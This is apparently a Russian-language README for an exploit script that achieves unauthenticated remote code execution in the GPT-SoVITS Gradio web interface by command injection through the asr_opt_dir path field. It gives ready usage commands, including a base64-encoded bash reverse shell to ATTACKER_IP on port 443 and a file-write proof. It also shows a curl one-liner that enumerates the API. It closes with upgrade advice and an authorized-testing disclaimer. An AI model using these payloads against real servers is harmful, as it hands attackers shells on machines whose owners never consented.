
Неаутентифицированный эксплойт внедрения команд ОС для веб-интерфейса GPT-SoVITS Gradio. Обеспечивает удаленное выполнение кода (RCE) через неочищенные параметры пути в вспомогательных функциях обработки аудио, поддерживая обратные оболочки и запись файлов для авторизованного тестирования безопасности.
Неаутентифицированное удаленное выполнение кода в GPT-SoVITS через Gradio веб-интерфейс (webui.py).
Вспомогательные функции обработки аудио (open_asr, open_slice, open_denoise, open_uvr5) вставляют несанитизированные значения текстового поля Gradio path прямо в команды оболочки, выполняемые с помощью Popen(..., shell=True). Пути проходят только через clean_path(), которая лишь удаляет начальные/конечные кавычки и пробелы — shell-метасимволы в середине остаются. Поле asr_opt_dir даже не проверяется на существование, поэтому подстановка команды $(...) в нём попадает внутрь -o "$(...)" и выполняется от имени пользователя веб-интерфейса. Веб-интерфейс поставляется без аутентификации, поэтому достаточно одного запроса.
<= 20250606v2pro9874 (Gradio веб-интерфейс, без аутентификации)pip install gradio_client
# write proof to a file on the target
python3 exploit.py http://10.10.10.10:9874/ -c 'id > /tmp/pwned 2>&1'
# reverse shell (base64 keeps the payload quote-free inside the $() context;
# bash -c is needed because the sink runs under /bin/sh, which lacks /dev/tcp)
B64=$(echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' | base64 -w0)
python3 exploit.py http://10.10.10.10:9874/ -c "echo $B64|base64 -d|bash"
Внедренная команда выполняется на сервере; её вывод не возвращается, поэтому используйте реверс-шелл (или запись в читаемый путь), чтобы увидеть результат. asr_opt_dir обёрнут в $(...), поэтому он выполняется через подстановку команды независимо от того, установлена ли какая-либо модель ASR.
open_asr собирает и запускает:
asr_opt_dir = clean_path(asr_opt_dir) # only strips leading/trailing quotes/spaces
cmd += f' -o "{asr_opt_dir}"' # asr_opt_dir NOT existence-checked
Popen(cmd, shell=True) # /bin/sh runs $(...) inside the -o "..."
Веб-интерфейс Gradio предоставляет свою поверхность API по адресу /config:
curl -s http://10.10.10.10:9874/config | python3 -c "import sys,json;print([x['api_name'] for x in json.load(sys.stdin)['dependencies'] if x.get('api_name')][:12])"
# [... 'open_asr', 'close_asr', 'open_slice', ...]
Обновите GPT-SoVITS до версии новее 20250606v2pro, никогда не открывайте веб-интерфейс для ненадежных сетей и не запускайте его от привилегированного пользователя.
Только для авторизованного тестирования безопасности и обучения. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное разрешение.